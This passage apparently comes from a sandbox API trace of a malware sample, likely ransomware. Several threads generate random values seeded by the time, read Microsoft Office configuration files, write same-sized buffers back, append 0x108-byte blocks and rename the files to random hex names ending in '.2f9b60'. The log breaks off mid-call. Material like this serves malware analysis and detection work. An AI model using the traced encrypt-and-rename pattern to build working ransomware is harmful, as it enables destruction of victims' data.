[0187.920] WriteFile (in: hFile=0xdf4, lpBuffer=0x43128d80*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2d09f690, lpOverlapped=0x0 | out: lpBuffer=0x43128d80*, lpNumberOfBytesWritten=0x2d09f690*=0x108, lpOverlapped=0x0) returned 1 [0202.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a930 [0202.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ec10 [0202.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ec10) returned 1 [0202.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f1e0 [0202.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ec10 [0202.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ebe0 [0202.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ebe0) returned 1 [0202.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a930) returned 1 [0202.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d81c0 [0202.783] sprintf (in: _Dest=0x1b7d81c0, _Format="%c%c" | out: _Dest="82") returned 2 [0202.783] sprintf (in: _Dest=0x1b7d81c2, _Format="%c%c" | out: _Dest="8b") returned 2 [0202.783] sprintf (in: _Dest=0x1b7d81c4, _Format="%c%c" | out: _Dest="10") returned 2 [0202.783] sprintf (in: _Dest=0x1b7d81c6, _Format="%c%c" | out: _Dest="19") returned 2 [0202.783] sprintf (in: _Dest=0x1b7d81c8, _Format="%c%c" | out: _Dest="44") returned 2 [0202.783] sprintf (in: _Dest=0x1b7d81ca, _Format="%c%c" | out: _Dest="37") returned 2 [0202.783] sprintf (in: _Dest=0x1b7d81cc, _Format="%c%c" | out: _Dest="93") returned 2 [0202.783] sprintf (in: _Dest=0x1b7d81ce, _Format="%c%c" | out: _Dest="a6") returned 2 [0202.783] sprintf (in: _Dest=0x1b7d81d0, _Format="%c%c" | out: _Dest="b6") returned 2 [0202.783] sprintf (in: _Dest=0x1b7d81d2, _Format="%c%c" | out: _Dest="83") returned 2 [0202.783] sprintf (in: _Dest=0x1b7d81d4, _Format="%c%c" | out: _Dest="7c") returned 2 [0202.783] sprintf (in: _Dest=0x1b7d81d6, _Format="%c%c" | out: _Dest="9d") returned 2 [0202.783] sprintf (in: _Dest=0x1b7d81d8, _Format="%c%c" | out: _Dest="7b") returned 2 [0202.784] sprintf (in: _Dest=0x1b7d81da, _Format="%c%c" | out: _Dest="9c") returned 2 [0202.784] sprintf (in: _Dest=0x1b7d81dc, _Format="%c%c" | out: _Dest="47") returned 2 [0202.784] sprintf (in: _Dest=0x1b7d81de, _Format="%c%c" | out: _Dest="8c") returned 2 [0202.784] sprintf (in: _Dest=0x1b7d81e0, _Format="%c%c" | out: _Dest="ee") returned 2 [0202.784] sprintf (in: _Dest=0x1b7d81e2, _Format="%c%c" | out: _Dest="2c") returned 2 [0202.784] sprintf (in: _Dest=0x1b7d81e4, _Format="%c%c" | out: _Dest="16") returned 2 [0202.784] sprintf (in: _Dest=0x1b7d81e6, _Format="%c%c" | out: _Dest="8b") returned 2 [0202.784] sprintf (in: _Dest=0x1b7d81e8, _Format="%c%c" | out: _Dest="e5") returned 2 [0202.784] sprintf (in: _Dest=0x1b7d81ea, _Format="%c%c" | out: _Dest="39") returned 2 [0202.784] RtlInitAnsiString (in: DestinationString=0x2d09f708, SourceString="828b1019443793a6b6837c9d7b9c478cee2c168be539" | out: DestinationString="828b1019443793a6b6837c9d7b9c478cee2c168be539") [0202.784] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d09f6d8, SourceString="828b1019443793a6b6837c9d7b9c478cee2c168be539", AllocateDestinationString=1 | out: DestinationString="828b1019443793a6b6837c9d7b9c478cee2c168be539") returned 0x0 [0202.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4319eb10 [0202.784] wcscat (in: _Dest=0x4319de40, _Source="828b1019443" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\828b1019443") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\828b1019443" [0202.785] wcscat (in: _Dest=0x4319de40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\828b1019443.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\828b1019443.2f9b60" [0202.785] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\828b1019443.2f9b60", NtPathName=0x2d09f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\828b1019443.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x4311aae0 Thread: id = 2663 os_tid = 0x2208 [0157.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg")) returned 0x20 [0159.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG", dwFileAttributes=0x20) returned 1 [0159.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15cc [0159.611] GetFileSizeEx (in: hFile=0x15cc, lpFileSize=0x3ab3f980 | out: lpFileSize=0x3ab3f980*=807) returned 1 [0159.611] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x323, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.611] ReadFile (in: hFile=0x15cc, lpBuffer=0x3ab3f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ab3f948, lpOverlapped=0x0 | out: lpBuffer=0x3ab3f900*, lpNumberOfBytesRead=0x3ab3f948*=0x4, lpOverlapped=0x0) returned 1 [0160.966] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a29c0 [0160.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2cf0 [0160.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2d80 [0160.966] NtQuerySystemTime (in: CurrentTime=0x3ab3f840 | out: CurrentTime=0x3ab3f840*=132462177661006000) returned 0x0 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x455ccae3 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x7a3ec3e2 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x11d1f63e [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x7a29806c [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x605f30aa [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x3e3eebd9 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x17215511 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x58a3f4f [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x134fd2a9 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x5f62ab55 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x295b55a0 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x38e0dc81 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x1c78eb86 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x64134cef [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x395854c9 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x3e1898be [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x7b1ad52e [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x4b0ff3bc [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x10a5c8a6 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x3f3caf65 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x72969588 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x3c25fe15 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x1006323e [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x71697c23 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x7160a6d5 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x24ef3b21 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x23025831 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x76a496e7 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x5a6f6f72 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x217bc6f6 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x60a7d3a8 [0160.967] RtlRandomEx (in: Seed=0x3ab3f830 | out: Seed=0x3ab3f830) returned 0x62be9c52 [0160.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2db0 [0160.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0160.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2de0 [0160.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0160.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2d80) returned 1 [0160.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a29c0) returned 1 [0160.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059600 [0160.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0160.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a29c0 [0160.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a29c0) returned 1 [0160.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20451ef0 [0160.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2043b690 [0160.980] ReadFile (in: hFile=0x15cc, lpBuffer=0x20451ef0, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x3ab3f830, lpOverlapped=0x0 | out: lpBuffer=0x20451ef0*, lpNumberOfBytesRead=0x3ab3f830*=0x327, lpOverlapped=0x0) returned 1 [0160.980] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.980] WriteFile (hFile=0x15cc, lpBuffer=0x2043b690, nNumberOfBytesToWrite=0x327, lpNumberOfBytesWritten=0x3ab3f834, lpOverlapped=0x0) [0181.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dfe0 [0181.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e010 [0181.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e010) returned 1 [0181.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043b690) returned 1 [0181.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20451ef0) returned 1 [0181.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0181.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059600) returned 1 [0181.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d2e010 [0181.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059600 [0181.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0181.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e040 [0181.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e040) returned 1 [0181.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d2e040 [0181.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e070 [0181.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e0a0 [0181.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e0a0) returned 1 [0181.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0181.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059600) returned 1 [0181.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x430fe720 [0186.245] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.245] WriteFile (in: hFile=0x15cc, lpBuffer=0x430fe720*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3ab3f950, lpOverlapped=0x0 | out: lpBuffer=0x430fe720*, lpNumberOfBytesWritten=0x3ab3f950*=0x108, lpOverlapped=0x0) returned 1 [0200.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0200.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a0a0 [0200.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a0a0) returned 1 [0200.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d260 [0200.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a0a0 [0200.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a070 [0200.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a070) returned 1 [0200.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0200.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d0b0 [0200.763] sprintf (in: _Dest=0x1ce5d0b0, _Format="%c%c" | out: _Dest="7b") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0b2, _Format="%c%c" | out: _Dest="d5") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0b4, _Format="%c%c" | out: _Dest="a2") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0b6, _Format="%c%c" | out: _Dest="c5") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0b8, _Format="%c%c" | out: _Dest="06") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0ba, _Format="%c%c" | out: _Dest="c9") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0bc, _Format="%c%c" | out: _Dest="b8") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0be, _Format="%c%c" | out: _Dest="dd") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0c0, _Format="%c%c" | out: _Dest="32") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0c2, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0c4, _Format="%c%c" | out: _Dest="84") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0c6, _Format="%c%c" | out: _Dest="57") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0c8, _Format="%c%c" | out: _Dest="75") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0ca, _Format="%c%c" | out: _Dest="d7") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0cc, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.763] sprintf (in: _Dest=0x1ce5d0ce, _Format="%c%c" | out: _Dest="98") returned 2 [0200.764] sprintf (in: _Dest=0x1ce5d0d0, _Format="%c%c" | out: _Dest="ba") returned 2 [0200.764] sprintf (in: _Dest=0x1ce5d0d2, _Format="%c%c" | out: _Dest="c1") returned 2 [0200.764] sprintf (in: _Dest=0x1ce5d0d4, _Format="%c%c" | out: _Dest="fb") returned 2 [0200.764] sprintf (in: _Dest=0x1ce5d0d6, _Format="%c%c" | out: _Dest="27") returned 2 [0200.764] sprintf (in: _Dest=0x1ce5d0d8, _Format="%c%c" | out: _Dest="79") returned 2 [0200.764] sprintf (in: _Dest=0x1ce5d0da, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.764] RtlInitAnsiString (in: DestinationString=0x3ab3f9c8, SourceString="7bd5a2c506c9b8dd32cf845775d74e98bac1fb2779ec" | out: DestinationString="7bd5a2c506c9b8dd32cf845775d74e98bac1fb2779ec") [0200.764] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ab3f998, SourceString="7bd5a2c506c9b8dd32cf845775d74e98bac1fb2779ec", AllocateDestinationString=1 | out: DestinationString="7bd5a2c506c9b8dd32cf845775d74e98bac1fb2779ec") returned 0x0 [0200.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a0ec0 [0200.765] wcscat (in: _Dest=0x43188f40, _Source="7bd5a2c506c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\7bd5a2c506c") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\7bd5a2c506c" [0200.765] wcscat (in: _Dest=0x43188f40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\7bd5a2c506c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\7bd5a2c506c.2f9b60" [0200.765] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\7bd5a2c506c.2f9b60", NtPathName=0x3ab3f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\7bd5a2c506c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x431ee460 Thread: id = 2664 os_tid = 0x220c [0157.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg")) returned 0x20 [0159.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG", dwFileAttributes=0x20) returned 1 [0159.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2818 [0159.613] GetFileSizeEx (in: hFile=0x2818, lpFileSize=0x3b77f960 | out: lpFileSize=0x3b77f960*=797) returned 1 [0159.613] SetFilePointerEx (in: hFile=0x2818, liDistanceToMove=0x319, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.613] ReadFile (in: hFile=0x2818, lpBuffer=0x3b77f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b77f928, lpOverlapped=0x0 | out: lpBuffer=0x3b77f8e0*, lpNumberOfBytesRead=0x3b77f928*=0x4, lpOverlapped=0x0) returned 1 [0160.915] SetFilePointerEx (in: hFile=0x2818, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a29c0 [0160.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a29f0 [0160.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2a20 [0160.916] NtQuerySystemTime (in: CurrentTime=0x3b77f820 | out: CurrentTime=0x3b77f820*=132462177660538000) returned 0x0 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x435973e3 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x47e0b913 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x2a71e476 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x77c74c93 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x47e3a13b [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x581d0276 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x6e591801 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x610f4674 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x5dcbccc7 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x153cbd38 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x242a29b3 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x7e532aae [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x777b2338 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x7c5f628f [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x5c35772 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x1d6d4c5e [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x7b13b9ff [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x668af95f [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x34bd38f1 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x749377a6 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x2254cda0 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x1adcd675 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x7106a210 [0160.916] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x61420973 [0160.917] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x672dd76c [0160.917] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x41b80a4b [0160.917] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x39e778c9 [0160.917] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x1e384d49 [0160.917] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x6e50a123 [0160.917] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x600a909d [0160.917] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x72d720c1 [0160.917] RtlRandomEx (in: Seed=0x3b77f810 | out: Seed=0x3b77f810) returned 0x5611a85b [0160.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2c90 [0160.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0160.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2cc0 [0160.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0160.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2a20) returned 1 [0160.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a29c0) returned 1 [0160.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0160.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0160.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a29c0 [0160.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a29c0) returned 1 [0160.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fd3cc0 [0160.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fd78d0 [0160.954] ReadFile (in: hFile=0x2818, lpBuffer=0x41fd3cc0, nNumberOfBytesToRead=0x31d, lpNumberOfBytesRead=0x3b77f810, lpOverlapped=0x0 | out: lpBuffer=0x41fd3cc0*, lpNumberOfBytesRead=0x3b77f810*=0x31d, lpOverlapped=0x0) returned 1 [0160.954] SetFilePointerEx (in: hFile=0x2818, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.954] WriteFile (hFile=0x2818, lpBuffer=0x41fd78d0, nNumberOfBytesToWrite=0x31d, lpNumberOfBytesWritten=0x3b77f814, lpOverlapped=0x0) [0198.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313ae40 [0198.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313ae70 [0198.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313ae70) returned 1 [0198.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fd78d0) returned 1 [0198.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fd3cc0) returned 1 [0198.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0198.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0198.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313ae70 [0198.609] SetFilePointerEx (in: hFile=0x2818, liDistanceToMove=0x0, lpNewFilePointer=0x0, 